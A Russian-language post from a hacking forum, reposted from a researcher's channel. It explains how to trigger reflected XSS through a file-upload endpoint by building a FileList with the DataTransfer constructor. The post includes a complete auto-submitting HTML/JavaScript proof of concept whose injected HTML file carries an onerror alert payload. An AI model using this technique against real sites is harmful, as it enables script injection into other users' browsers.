• XSS.stack #1 – первый литературный журнал от юзеров форума

Reflected XSS via File Upload

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Reflected XSS via File Upload

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:
HTML:
<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
  <input id="file" type="file" name="file"/>
  "/>
</form>

<script>
  class _DataTransfer {
    constructor() {
     return new ClipboardEvent("").clipboardData || new DataTransfer();}
  }

  const input = document.querySelector('input');
  const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

  const dt = new _DataTransfer();

  dt.items.add(file)

  input.files = dt.files;

  document.forms[0].submit();
</script>
</body>
</html>
Надеюсь, пригодится! Мне пригодилось;)

автор Bo0oM, взял с его канала Кавычка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх